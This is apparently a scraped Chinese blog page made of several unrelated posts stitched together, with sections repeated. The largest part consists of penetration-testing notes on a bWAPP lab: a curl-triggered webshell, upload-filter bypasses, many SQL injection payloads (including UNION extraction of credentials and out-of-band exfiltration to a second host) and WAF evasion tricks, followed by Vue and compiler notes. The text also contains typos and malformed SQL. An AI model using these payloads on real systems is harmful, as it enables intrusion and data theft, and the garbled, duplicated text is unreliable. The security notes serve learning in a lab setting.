上传一句话木马,创建shell.php文件,添加 通过curl触发,执行curl -d ’test=echo getcwd();’ http://127.0.0.1/images/shell.php 可以看到成功触发shell.php,并且服务器返回了当前执行的目录 后缀名绕过 安全级别选择medium(set your security level) 常见后缀名验证方式有,黑名单(禁止哪些后缀上传),白名单(只允许哪些后缀上传) 这里的靶场环境的web server为Apache,因此需要了解Apache解析器模块 .htaccess绕过,当黑名单没有限制上传.htaccess文件时,并且web sever也支持.htaccess时 上传.htaccess文件,内容为:AddType application/x-httpd-php jpg 上传木马,shell.jpg AddType application/x-httpd-php jpg的意思是,jpg文件按照php文件的方式解析 大小写绕过 大小写用于Windows平台环境下,在Windows中,大小写是不敏感的,而在Linux环境下,大小写是敏感的 Windows文件流绕过 利用windows平台的NTFS文件系统的文件流特性,设置文件时,默认使用未命名的文件流,但是也可以创建其他命名的文件流 例如: echo hallo,word > hallo.txt:a.txt echo hallo > hallo.txt echo 666 > hallo.txt::$data 第一个例子中,hallo,word并没有写入到hallo.txt,而是写入到了hallo.txt下的a.txt文件流中 第三个例子中,666写入到了hallo.txt默认文件流中 针对于白名单进行绕过 截断绕过(环境要求:php>5.3.42,magic_quotes_gpc关闭) 搭配burpsuite来拦截http请求 上传shell.php,通过拦截修改请求报文,修改为shell.php$00.jpg $00在url中会解析为0,而在ASCII中0又表示为字符串结束,因此当url出现$00时,表示字符串读取结束 因此在上传shell.php$00.jpg时,对于先上传后检测的服务端来说,实质上传的是shell.php SQL注入 SQL注入漏洞是用户应用层与数据库层的安全漏洞 发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句,当这些恶意SQL语句不被审查就执行的话是非常危险的,例如在一些输入框(比如搜索框)中提交一些恶意SQL语句,因为后端需要根据用户提供的数据来动态的构造SQL查询语句,而且这些动态参数存在恶意SQL语句时又没有进行过滤审查,将导致SQL注入漏洞触发 过程:通过数据库管理系统执行SQL命令,并且将数据库管理系统的执行结果返回给web服务器,web服务器再将结果进行整合成html网页,最后发送给客户端 GET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接,来获取到超越权限的数据 GET型SQL注入漏洞 方法1:利用UNION操作符,并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据 UNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() – 查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名,当前数据库名称,当前数据库版本,以及当前数据库的数据表,后面的–是sql注释,也可以使用#来注释掉后面的sql命令 当查找到的数据表存在敏感名称时,例如user时,可对敏感名称的表进行查找 UNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=‘user’ – 通过上面的命令查找user表的字段,当出现password,login等字段时,可以确定为后台的登录密码以及用户 UNION SELECT 1,password,login,4,5 FROM user – 通过上面的命令查找user表的password和login字段 注意:一般来说password字段返回的数据都是加密过的,而且绝大多加密算法都是不可逆的,只能通过彩虹表来碰撞 POST型SQL注入漏洞(主要通过http请求工具,因为post请求不是通过url发送的,http请求工具例如postman或者burpsuite,触发的方法和get型类似) 判断SQL注入点 能够与数据库进行交互,并且可以提交参数到网页时,那么可能存在sql注入 单引号判断法 https://webtest.xiaochenabc123.test.com?id=1' 如果页面报错则存在SQL注入,因为sql会因为单引号个数不成对而导致sql执行错误而报错 判断注入的参数类型(如果参数可以输入非整型,则直接使用字符串型) 整型 SELECT * FROM test where id = and 1=1 字符串型 SELECT * FROM test where id = ‘1’ and ‘1’=‘1’ 百分号判断法 针对于使用了LIKE关键字的 https://webtest.xiaochenabc123.test.com?id=1$' and ‘1’=‘1’ – 简单的SQL注入防御方法: 减低错误信息的提供 使用mysql_escape_string($id)转义,将’转义 过滤and,or,union,select等等关键词(黑名单) SQL注入漏洞主要的类型:布尔型注入,可联合查询注入,基于时间延迟注入,报错型注入,可多语句查询注入 布尔型注入 https://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5– 布尔型注入被用于盲注,上面的例子中是通过布尔型注入来判断一下数据库版本是否为5,如果是的,那么将会是正常请求 联合查询注入(使用UNION关键字来拼接自己想要执行的SQL语句) 基于时间延迟注入(通过判断请求响应的时间来得到想要的信息,盲注,当页面不会提供报错信息时,布尔型注入也无效时采用) https://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)– slepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果,通过感觉时间来确定该语句是否正常执行 报错型注入(如果页面可以返回sql报错信息时使用,通过报错信息中获取数据) 多语句查询型注入(当页面可以执行多条SQL语句时) 例如:https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1– 多语句查询型注入可以使用时,很大可能UPDATA数据库更新或者删除数据库可以触发 HTTP头注入 利用http请求头,当web服务器需要从http请求头中获取信息到数据库中时(针对不进行过滤审查就直接进行数据库操作时) 通过http请求工具,例如postman或者burpsuite,修改请求头,重放攻击 User-Agent: abc’, (SELECT database()) – 堆叠注入(多条sql命令一起执行) 使用;结束当前sql命令后继续执行下一条sql命令 联合注入和堆叠注入区别:联合注入只能进行查询操作(取决于sql命令的拼接头是查询还是更新还是删除,或者插入),而堆叠注入可以执行任意sql命令 一般实质环境中堆叠注入用不到(可以会出现权限问题),但是一用到就威力无穷 OOB注入(out of band,带外通道技术) 通过生成请求体来攻击,目标服务器接收到恶意的请求体后,进一步处理,处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源,而这个外部实质是攻击者控制的服务器,在进行外部的请求时,将数据一起发送给攻击者控制的服务器,最后在攻击者控制的服务器查看数据(例如:通过dns记录来显示) https://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(’\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’); https://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(’\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’)); 最后在DNS记录中查看到想要的数据,上面的例子是获取当前的数据库名 利用HTTP协议来OOB注入 https://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php ‘||’?id=’||(SELECT database())) FROM dual; 上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据,并且写入到test.txt中 混淆和绕过 一般的注入攻击会被WAF检测和过滤掉,而混淆和绕过就是针对WAF防御的手段 过滤词绕过 OR可使用||绕过,AND可使用&&绕过 union被过滤可使用||来绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ ||(SELECT user FROM usermain limit 1,1) = ‘root’ limit被过滤,可通过GROUP BY语句创建一个虚拟表,来绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SELECT min(user),id FROM usermain GROUP BY user HAVING user=‘root’ GROUP BY被过滤,可通过SUBSTR()函数和GROUP_CONCAT()函数绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1) SELECT和引号被过滤,可通过SUBSTR()函数绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SUBSTR(user,1,1=0x72) 空格被过滤,可通过/**/来替代空格来分开sql语句 等号被过滤,可通过like关键字绕过 双写绕过:例如union被过滤,可使用ununionion来替代,当ununionion被union被过滤机制处理后,将中间的union替代为空,导致左右两边合在了一起,从而达到绕过的目的、 双重编码绕过:当某个url编码的参数会被WAF编码过滤时,可对参数进行二次编码,让WAF解第一层编码,但是还有第二层编码,从而达到绕过的目的 编码注入(url编码):%27表示’,%23表示#,%df表示无意义,%5c表示\,%3d表示=,%2A表示*,例如:https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23 二次注入:数据库存储的数据并不安全,不应该直接调用数据库的数据,例如admin’# 提权 Linux的特殊权限 SUID(Set UID):除了rwx权限外的s权限,当某个普通用户具备运行具备SUID权限的文件时,那么当运行该文件,将会使用该文件所有者的身份去执行该文件,只要执行一结束,该身份将会消失 例如passwd命令,该命令具备SUID权限,当执行该命令时,将表示使用root身份来执行passwd命令,从而修改/usr/bin/passwd这个密码记录文件(该文件普通用户没有任何权限,当然权限只能限制普通用户,root用户是不会被限制的) 注意:SUID的特性,必须具备可执行权限,而且只对可执行文件有效,目录以及不可执行文件无效,提升权限的效果只在文件执行过程有效,执行结束则身份恢复,s权限必须在所有者权限上(也就是-rws–x–x) SGID(Set GID):当s权限出现在所属组中将变成SGID权限,如:-rwx–s–x,同样SGID只对可执行文件有效,而且其他用户具备可执行文件,一样只在执行过程中有效 该特殊权限的特性:在执行该具备SGID特殊权限的可执行文件时,当前用户的组身份将变成文件所属组的身份,赋予的是所属组的权限 注意:SGID对目录也是具备效果的,只不过当目录被赋予SGID权限后,不是执行触发,而且进入该目录就会触发特性,但是前提是该目录对于普通用户具备rwx权限,这样才能发挥SGID在目录的全部功能 SBIT(Stick BIT):t权限,该特殊权限只对目录有效,当目录具备了SBIT特殊权限后,那么不管用户在该目录下创建的文件还是目录,都是只有该用户和root用户有权限修改和删除 该权限的表示为:drwxrwxrwt,哪怕其他用户具备该目录的全部权限 DDOS攻击(分布式拒绝服务攻击) 原理:利用TCP/IP协议族的漏洞,来对目标服务器发送数据流,当超过服务器的处理能力或者服务器的带宽被饱和了,将导致服务器崩溃或者服务器网络崩溃,常见的DDOS攻击有:UDP泛洪攻击,DNS放大攻击,ICMP泛洪攻击,内存缓存放大攻击,SYN泛洪攻击,PING泛洪攻击,NTP放大攻击,ACK泛洪攻击,HTTP泛洪攻击(也就是CC攻击),Slowloris攻击,HTTP Post DDOS攻击等等 UDP泛洪攻击:利用UDP不需要建立连接就可以发送数据包的特性,大量发送UDP数据包给目标服务器的随机端口,当服务器接收到UDP数据包时,如果该端口没有应用在监听接收数据,会给发送方发送一个数据包,来表示目标端口不可用,当量大到一定程度时,服务器将无法对合法数据进行反应,从而达到拒绝服务的目的,对于会给发送方发送数据包,可进行伪造IP地址,不但不会作用到攻击机上,还做到了匿名 DNS放大攻击:利用DNS服务器,对DNS服务器发送DNS请求响应,但是该请求包被伪造成了目标服务器的IP,DNS服务器将会向目标服务器发送大量的数据包,从而造成网络阻塞,来达到拒绝服务的目的 ICMP泛洪攻击:通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽 攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST,目标服务器需要返回ICMP ECHO REPLY,常见的攻击手法有ping 内存缓存放大攻击:利用UDP的特性(不需要连接),当使用伪造IP对目标服务器发送http请求,目标服务器接收到请求后,发送响应到伪造的IP上,当目标服务器无法处理庞大的请求响应时,将会导致服务器崩溃和带宽饱满 放大攻击就是利用了请求包和响应包的体积差,发送小的请求包,需要返回大的响应包,从而达到放大攻击的效果 SYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性 SYN泛洪攻击:伪造IP向目标服务器发送SYN包,目标服务器接收到后返回ACK给伪造IP的机子,但是接收ACK的目标是不存在的,如果不对其进行确认ACK的话,目标服务器将该次连接挂起(半连接状态),目标服务器会重复发送ACK给伪造的IP上,当量大时,挂起的连接将会消耗掉目标服务器的资源,导致其崩溃,从而达到拒绝服务攻击的目的 ACK泛洪攻击:向目标服务器发送大量的ACK数据包,实质理论和SYN泛洪攻击类似 HTTP泛洪攻击:发送正常的请求,目标服务器需要返回响应,但是这个正常的请求是有针对性的,针对服务器需要消耗大量资源来做出响应的请求,例如搜索请求 Slowloris攻击:利用HTTP Request的特性,通过\r\n\r\n来表示HTTP请求发送已完成,当\r\n\r\n永远不发送时,目标服务器将会保持TCP连接,并且以一种极低速度来发送数据给目标服务器,让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接,当量大时,目标服务器将被占满TCP连接,从而接收不到新的请求,最后达到拒绝服务攻击的目的 防御Slowloris攻击很简单,限制HTTP Request传输的最大时间,超时将中断连接,并且拉入黑名单 HTTP Post DDOS攻击:和Slowloris攻击类似,一样是慢速攻击,不过是通过指定一个大的content-length,但是发送包的速度很慢,来达到保持连接,消耗目标服务器的资源
常见web工具: burpsuite:通过代理渗透,可重放HTTP请求,来分析HTTP响应 curl:通过url方式传输数据,可用于抓取页面(执行请求),监控网络等等 postmain hackbar quantum wappalyzer 文件上传漏洞:没有足够的安全约束的情况下,允许上传恶意文件,例如恶意脚本,webshell等等 文件上传漏洞关键点在于绕过 由于法律限制的原因,禁止对其他网站非法攻击,因此需要在本地或者在自己的服务器上建立靶场渗透环境,这边使用的是bwapp(全称为buggy web Application) 这边使用的是docker运行bwapp,也可以下载bwapp,来自己搭建(https://sourceforge.net/projects/bwapp/files/) docker pull raesene/bwapp docker run -d -p 0.0.0.0:80:80 raesene/bwapp 访问127.0.0.1/install.php 点击here来初始化,或者直接访问127.0.0.1/install.php?install=yes 创建账号信息,点击new user,或者直接访问127.0.0.1/user_new.php 点击login,或者直接访问127.0.0.1/login.php,根据刚才的账号信息进行登录 简单接触文件上传漏洞 chose your bug选择unrestricted File Upload(未经严格审记的文件上传),安全级别选择low(set your security level) 上传一句话木马,创建shell.php文件,添加 通过curl触发,执行curl -d ’test=echo getcwd();’ http://127.0.0.1/images/shell.php 可以看到成功触发shell.php,并且服务器返回了当前执行的目录 后缀名绕过 安全级别选择medium(set your security level) 常见后缀名验证方式有,黑名单(禁止哪些后缀上传),白名单(只允许哪些后缀上传) 这里的靶场环境的web server为Apache,因此需要了解Apache解析器模块 .htaccess绕过,当黑名单没有限制上传.htaccess文件时,并且web sever也支持.htaccess时 上传.htaccess文件,内容为:AddType application/x-httpd-php jpg 上传木马,shell.jpg AddType application/x-httpd-php jpg的意思是,jpg文件按照php文件的方式解析 大小写绕过 大小写用于Windows平台环境下,在Windows中,大小写是不敏感的,而在Linux环境下,大小写是敏感的 Windows文件流绕过 利用windows平台的NTFS文件系统的文件流特性,设置文件时,默认使用未命名的文件流,但是也可以创建其他命名的文件流 例如: echo hallo,word > hallo.txt:a.txt echo hallo > hallo.txt echo 666 > hallo.txt::$data 第一个例子中,hallo,word并没有写入到hallo.txt,而是写入到了hallo.txt下的a.txt文件流中 第三个例子中,666写入到了hallo.txt默认文件流中 针对于白名单进行绕过 截断绕过(环境要求:php>5.3.42,magic_quotes_gpc关闭) 搭配burpsuite来拦截http请求 上传shell.php,通过拦截修改请求报文,修改为shell.php$00.jpg $00在url中会解析为0,而在ASCII中0又表示为字符串结束,因此当url出现$00时,表示字符串读取结束 因此在上传shell.php$00.jpg时,对于先上传后检测的服务端来说,实质上传的是shell.php SQL注入 SQL注入漏洞是用户应用层与数据库层的安全漏洞 发生SQL注入的原因就是用户应用层提供的数据存在恶意SQL语句,当这些恶意SQL语句不被审查就执行的话是非常危险的,例如在一些输入框(比如搜索框)中提交一些恶意SQL语句,因为后端需要根据用户提供的数据来动态的构造SQL查询语句,而且这些动态参数存在恶意SQL语句时又没有进行过滤审查,将导致SQL注入漏洞触发 过程:通过数据库管理系统执行SQL命令,并且将数据库管理系统的执行结果返回给web服务器,web服务器再将结果进行整合成html网页,最后发送给客户端 GET型SQL注入漏洞是指使用GET请求方法进行URL链接拼接,来获取到超越权限的数据 GET型SQL注入漏洞 方法1:利用UNION操作符,并且通过SELECT 1,2,3,4,5来查找可以显示多少字段数据 UNION SELECT 1,user(),database(),table_name,version() FROM INFORMATION_SCHEMA.tables WHERE table_schema=database() – 查找INFORMATION_SCHEMA数据库的tables表的使用了当前数据库用户名,当前数据库名称,当前数据库版本,以及当前数据库的数据表,后面的–是sql注释,也可以使用#来注释掉后面的sql命令 当查找到的数据表存在敏感名称时,例如user时,可对敏感名称的表进行查找 UNION SELECT 1,columns,3,4,5 FROM INFORMATION_SCHEMA.columns WHERE table_name=‘user’ – 通过上面的命令查找user表的字段,当出现password,login等字段时,可以确定为后台的登录密码以及用户 UNION SELECT 1,password,login,4,5 FROM user – 通过上面的命令查找user表的password和login字段 注意:一般来说password字段返回的数据都是加密过的,而且绝大多加密算法都是不可逆的,只能通过彩虹表来碰撞 POST型SQL注入漏洞(主要通过http请求工具,因为post请求不是通过url发送的,http请求工具例如postman或者burpsuite,触发的方法和get型类似) 判断SQL注入点 能够与数据库进行交互,并且可以提交参数到网页时,那么可能存在sql注入 单引号判断法 https://webtest.xiaochenabc123.test.com?id=1' 如果页面报错则存在SQL注入,因为sql会因为单引号个数不成对而导致sql执行错误而报错 判断注入的参数类型(如果参数可以输入非整型,则直接使用字符串型) 整型 SELECT * FROM test where id = and 1=1 字符串型 SELECT * FROM test where id = ‘1’ and ‘1’=‘1’ 百分号判断法 针对于使用了LIKE关键字的 https://webtest.xiaochenabc123.test.com?id=1$' and ‘1’=‘1’ – 简单的SQL注入防御方法: 减低错误信息的提供 使用mysql_escape_string($id)转义,将’转义 过滤and,or,union,select等等关键词(黑名单) SQL注入漏洞主要的类型:布尔型注入,可联合查询注入,基于时间延迟注入,报错型注入,可多语句查询注入 布尔型注入 https://webtest.xiaochenabc123.test.com/?id=1' and substring(version) = 5– 布尔型注入被用于盲注,上面的例子中是通过布尔型注入来判断一下数据库版本是否为5,如果是的,那么将会是正常请求 联合查询注入(使用UNION关键字来拼接自己想要执行的SQL语句) 基于时间延迟注入(通过判断请求响应的时间来得到想要的信息,盲注,当页面不会提供报错信息时,布尔型注入也无效时采用) https://webtest.xiaochenabc123.test.com/?id=1' and slepp(5)– slepp函数的作用是当sql语句执行完成后等待指定秒数再去返回执行结果,通过感觉时间来确定该语句是否正常执行 报错型注入(如果页面可以返回sql报错信息时使用,通过报错信息中获取数据) 多语句查询型注入(当页面可以执行多条SQL语句时) 例如:https://webtest.xiaochenabc123.test.com/?id=1; SELECT * FROM test where id =1– 多语句查询型注入可以使用时,很大可能UPDATA数据库更新或者删除数据库可以触发 HTTP头注入 利用http请求头,当web服务器需要从http请求头中获取信息到数据库中时(针对不进行过滤审查就直接进行数据库操作时) 通过http请求工具,例如postman或者burpsuite,修改请求头,重放攻击 User-Agent: abc’, (SELECT database()) – 堆叠注入(多条sql命令一起执行) 使用;结束当前sql命令后继续执行下一条sql命令 联合注入和堆叠注入区别:联合注入只能进行查询操作(取决于sql命令的拼接头是查询还是更新还是删除,或者插入),而堆叠注入可以执行任意sql命令 一般实质环境中堆叠注入用不到(可以会出现权限问题),但是一用到就威力无穷 OOB注入(out of band,带外通道技术) 通过生成请求体来攻击,目标服务器接收到恶意的请求体后,进一步处理,处理的过程中目标服务器可能要向外部发送请求或者向外部获取资源,而这个外部实质是攻击者控制的服务器,在进行外部的请求时,将数据一起发送给攻击者控制的服务器,最后在攻击者控制的服务器查看数据(例如:通过dns记录来显示) https://test1.xiaochenabc123.test.com/?id=1' and SELECT CONCAT(’\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’); https://test1.xiaochenabc123.test.com/?id=1' and SELECT LOAD_FILE(CONCAT(’\\’,(SELECT database(),’.test2.xiaochenabc123.test.com’)); 最后在DNS记录中查看到想要的数据,上面的例子是获取当前的数据库名 利用HTTP协议来OOB注入 https://test1.xiaochenabc123.test.com/?id=1' and SELECT UTL_HTTP.REQUEST(https://test2.xiaochenabc123.test.com/test.php ‘||’?id=’||(SELECT database())) FROM dual; 上面的例子是通过https://test2.xiaochenabc123.test.com的test.php记录传递的数据,并且写入到test.txt中 混淆和绕过 一般的注入攻击会被WAF检测和过滤掉,而混淆和绕过就是针对WAF防御的手段 过滤词绕过 OR可使用||绕过,AND可使用&&绕过 union被过滤可使用||来绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ ||(SELECT user FROM usermain limit 1,1) = ‘root’ limit被过滤,可通过GROUP BY语句创建一个虚拟表,来绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SELECT min(user),id FROM usermain GROUP BY user HAVING user=‘root’ GROUP BY被过滤,可通过SUBSTR()函数和GROUP_CONCAT()函数绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SELECT SUBSTR((SELECT GROUP_CONCAT(user)user FROM usermain),1,1) SELECT和引号被过滤,可通过SUBSTR()函数绕过,例如:https://test1.xiaochenabc123.test.com/?id=1’ || SUBSTR(user,1,1=0x72) 空格被过滤,可通过/**/来替代空格来分开sql语句 等号被过滤,可通过like关键字绕过 双写绕过:例如union被过滤,可使用ununionion来替代,当ununionion被union被过滤机制处理后,将中间的union替代为空,导致左右两边合在了一起,从而达到绕过的目的、 双重编码绕过:当某个url编码的参数会被WAF编码过滤时,可对参数进行二次编码,让WAF解第一层编码,但是还有第二层编码,从而达到绕过的目的 编码注入(url编码):%27表示’,%23表示#,%df表示无意义,%5c表示\,%3d表示=,%2A表示*,例如:https://test1.xiaochenabc123.test.com/?id=1 %df SELECT %2A FROM test where id %3d 1 %23 二次注入:数据库存储的数据并不安全,不应该直接调用数据库的数据,例如admin’# 提权 Linux的特殊权限 SUID(Set UID):除了rwx权限外的s权限,当某个普通用户具备运行具备SUID权限的文件时,那么当运行该文件,将会使用该文件所有者的身份去执行该文件,只要执行一结束,该身份将会消失 例如passwd命令,该命令具备SUID权限,当执行该命令时,将表示使用root身份来执行passwd命令,从而修改/usr/bin/passwd这个密码记录文件(该文件普通用户没有任何权限,当然权限只能限制普通用户,root用户是不会被限制的) 注意:SUID的特性,必须具备可执行权限,而且只对可执行文件有效,目录以及不可执行文件无效,提升权限的效果只在文件执行过程有效,执行结束则身份恢复,s权限必须在所有者权限上(也就是-rws–x–x) SGID(Set GID):当s权限出现在所属组中将变成SGID权限,如:-rwx–s–x,同样SGID只对可执行文件有效,而且其他用户具备可执行文件,一样只在执行过程中有效 该特殊权限的特性:在执行该具备SGID特殊权限的可执行文件时,当前用户的组身份将变成文件所属组的身份,赋予的是所属组的权限 注意:SGID对目录也是具备效果的,只不过当目录被赋予SGID权限后,不是执行触发,而且进入该目录就会触发特性,但是前提是该目录对于普通用户具备rwx权限,这样才能发挥SGID在目录的全部功能 SBIT(Stick BIT):t权限,该特殊权限只对目录有效,当目录具备了SBIT特殊权限后,那么不管用户在该目录下创建的文件还是目录,都是只有该用户和root用户有权限修改和删除 该权限的表示为:drwxrwxrwt,哪怕其他用户具备该目录的全部权限 DDOS攻击(分布式拒绝服务攻击) 原理:利用TCP/IP协议族的漏洞,来对目标服务器发送数据流,当超过服务器的处理能力或者服务器的带宽被饱和了,将导致服务器崩溃或者服务器网络崩溃,常见的DDOS攻击有:UDP泛洪攻击,DNS放大攻击,ICMP泛洪攻击,内存缓存放大攻击,SYN泛洪攻击,PING泛洪攻击,NTP放大攻击,ACK泛洪攻击,HTTP泛洪攻击(也就是CC攻击),Slowloris攻击,HTTP Post DDOS攻击等等 UDP泛洪攻击:利用UDP不需要建立连接就可以发送数据包的特性,大量发送UDP数据包给目标服务器的随机端口,当服务器接收到UDP数据包时,如果该端口没有应用在监听接收数据,会给发送方发送一个数据包,来表示目标端口不可用,当量大到一定程度时,服务器将无法对合法数据进行反应,从而达到拒绝服务的目的,对于会给发送方发送数据包,可进行伪造IP地址,不但不会作用到攻击机上,还做到了匿名 DNS放大攻击:利用DNS服务器,对DNS服务器发送DNS请求响应,但是该请求包被伪造成了目标服务器的IP,DNS服务器将会向目标服务器发送大量的数据包,从而造成网络阻塞,来达到拒绝服务的目的 ICMP泛洪攻击:通过不断发送ICMP ECHO REQUEST来对消耗目标服务器的处理器资源和带宽 攻击者控制的僵尸机对目标服务器发送ICMP ECHO REQUEST,目标服务器需要返回ICMP ECHO REPLY,常见的攻击手法有ping 内存缓存放大攻击:利用UDP的特性(不需要连接),当使用伪造IP对目标服务器发送http请求,目标服务器接收到请求后,发送响应到伪造的IP上,当目标服务器无法处理庞大的请求响应时,将会导致服务器崩溃和带宽饱满 放大攻击就是利用了请求包和响应包的体积差,发送小的请求包,需要返回大的响应包,从而达到放大攻击的效果 SYN泛洪攻击和ACK泛洪攻击都是利用TCP的三次握手的特性 SYN泛洪攻击:伪造IP向目标服务器发送SYN包,目标服务器接收到后返回ACK给伪造IP的机子,但是接收ACK的目标是不存在的,如果不对其进行确认ACK的话,目标服务器将该次连接挂起(半连接状态),目标服务器会重复发送ACK给伪造的IP上,当量大时,挂起的连接将会消耗掉目标服务器的资源,导致其崩溃,从而达到拒绝服务攻击的目的 ACK泛洪攻击:向目标服务器发送大量的ACK数据包,实质理论和SYN泛洪攻击类似 HTTP泛洪攻击:发送正常的请求,目标服务器需要返回响应,但是这个正常的请求是有针对性的,针对服务器需要消耗大量资源来做出响应的请求,例如搜索请求 Slowloris攻击:利用HTTP Request的特性,通过\r\n\r\n来表示HTTP请求发送已完成,当\r\n\r\n永远不发送时,目标服务器将会保持TCP连接,并且以一种极低速度来发送数据给目标服务器,让目标服务器认为HTTP Request还没有接收完成从而保持TCP连接,当量大时,目标服务器将被占满TCP连接,从而接收不到新的请求,最后达到拒绝服务攻击的目的 防御Slowloris攻击很简单,限制HTTP Request传输的最大时间,超时将中断连接,并且拉入黑名单 HTTP Post DDOS攻击:和Slowloris攻击类似,一样是慢速攻击,不过是通过指定一个大的content-length,但是发送包的速度很慢,来达到保持连接,消耗目标服务器的资源
组件的渲染,更新 组件的渲染:通过组件的模板创建vnode,渲染vnode,生成DOM vue应用的初始化 import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上(一般是id为app的dom节点),通过createApp()函数,对外暴露vue,createApp()方法主要作用是创建app应用,以及重写mount方法,最后返回app应用 通过createApp()源码,可以看到createApp()接收一个参数,这个参数也就是app应用(根组件),createApp()创建app应用是通过ensureRenderer()的createApp()创建的 ensureRenderer()用于创建一个惰性渲染器对象(延时创建,这样的好处是当只使用响应式包时,不需要打包渲染器等渲染逻辑相关的代码)
组件的渲染,更新 组件的渲染:通过组件的模板创建vnode,渲染vnode,生成DOM vue应用的初始化 import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上(一般是id为app的dom节点),通过createApp()函数,对外暴露vue,createApp()方法主要作用是创建app应用,以及重写mount方法,最后返回app应用 通过createApp()源码,可以看到createApp()接收一个参数,这个参数也就是app应用(根组件),createApp()创建app应用是通过ensureRenderer()的createApp()创建的 ensureRenderer()用于创建一个惰性渲染器对象(延时创建,这样的好处是当只使用响应式包时,不需要打包渲染器等渲染逻辑相关的代码)
编译就是翻译,将机器语言翻译成另一个机器语言(例如高级语言翻译成低级语言(例如汇编),低级语言翻译成机器语言(二进制)) 编译让计算机理解高级语言并且执行,编译让计算机更理解人,编译提供了人类新的思考方式 编译的翻译只能作用于形式语言 编译器和解释器 编译器将源程序编译成目标的程序 解释器接收源程序与输入,执行并且返回输出 混合编译器通常需要2次编译,第一次编译将源程序翻译成目标程序,第二次编译时,将目标程序与输入一起放到虚拟机来处理执行(虚拟机用于跨平台,来处理复杂的执行环境) 即时编译器,将源程序编译成机器码后再执行 交叉编译:在一个平台上编译产生多个平台的可执行程序 编译的过程 关注度分离 词法分析(分词,分析词法) 语法分析(将词分析的结果分析成抽象语法树的过程,也就是AST(Abstract Syntax Tree)),语法分析器被叫为parser 语义分析:分析抽象语法的语法是否合法 根据抽象语法树生成的三地址码进行存储,传输,优化 根据三地址码生成机器码(有一些还需要把机器码编译成可执行应用) 词法分析:将程序的字符流转换为符号流,分析符号,并且给予描述 例如:let a = 1 词法分析后得到 let: Keyword a: Variable =: Operator 1: Integer 词法分析器会将关键字抽离,并且对每个字符作描述 词法分析器得到返回值是符号元组,符号又叫词法单元(Token) 词法:构造语句的方法(哪些是具备词性(根据词的特点来区分的语法分类,例如动词,名词等等),哪些是具备词语(具有意义的词,关键字)),通常使用正则表达式来描述词法,使用状态机来实现正则表达式 字母表(alphabet):某个编程语言中允许的全部字符 串(string)是某个编程语言中的字母序列 词法分析器将源程序的字符流进行分析,通正则文法过来找到这些词汇,并且给予词性,如果存在不支持的词汇,则报错(也就是分词) 词法分析器使用了一种叫有限自动机(有限状态机,deterministic finite automaton, DFA)的算法,在分析字符串时,当遇到了关键字时,会改变状态 有限自动机和图灵机很相似,不过有限自动机只能读取,无法进行计算 例如:a == 1 当识别扫描到a时,会处于标识符状态,直到遇到了==,就会切换到比较运算符状态,然后再识别1,知道该值是数值字面量 语法分析 语法分析的过程就是在词法分析的基础上分析程序的语法结构,这个语法结构是树状的,这个树叫抽象语法树(Abstract Syntax Tree,AST),树节点是语法单元,可通过递归下降算法或者自底向上算法来构造该树状 语法制导翻译
编译就是翻译,将机器语言翻译成另一个机器语言(例如高级语言翻译成低级语言(例如汇编),低级语言翻译成机器语言(二进制)) 编译让计算机理解高级语言并且执行,编译让计算机更理解人,编译提供了人类新的思考方式 编译的翻译只能作用于形式语言 编译器和解释器 编译器将源程序编译成目标的程序 解释器接收源程序与输入,执行并且返回输出 混合编译器通常需要2次编译,第一次编译将源程序翻译成目标程序,第二次编译时,将目标程序与输入一起放到虚拟机来处理执行(虚拟机用于跨平台,来处理复杂的执行环境) 即时编译器,将源程序编译成机器码后再执行 交叉编译:在一个平台上编译产生多个平台的可执行程序 编译的过程 关注度分离 词法分析(分词,分析词法) 语法分析(将词分析的结果分析成抽象语法树的过程,也就是AST(Abstract Syntax Tree)),语法分析器被叫为parser 语义分析:分析抽象语法的语法是否合法 根据抽象语法树生成的三地址码进行存储,传输,优化 根据三地址码生成机器码(有一些还需要把机器码编译成可执行应用) 词法分析:将程序的字符流转换为符号流,分析符号,并且给予描述 例如:let a = 1 词法分析后得到 let: Keyword a: Variable =: Operator 1: Integer 词法分析器会将关键字抽离,并且对每个字符作描述 词法分析器得到返回值是符号元组,符号又叫词法单元(Token) 词法:构造语句的方法(哪些是具备词性(根据词的特点来区分的语法分类,例如动词,名词等等),哪些是具备词语(具有意义的词,关键字)),通常使用正则表达式来描述词法,使用状态机来实现正则表达式 字母表(alphabet):某个编程语言中允许的全部字符 串(string)是某个编程语言中的字母序列 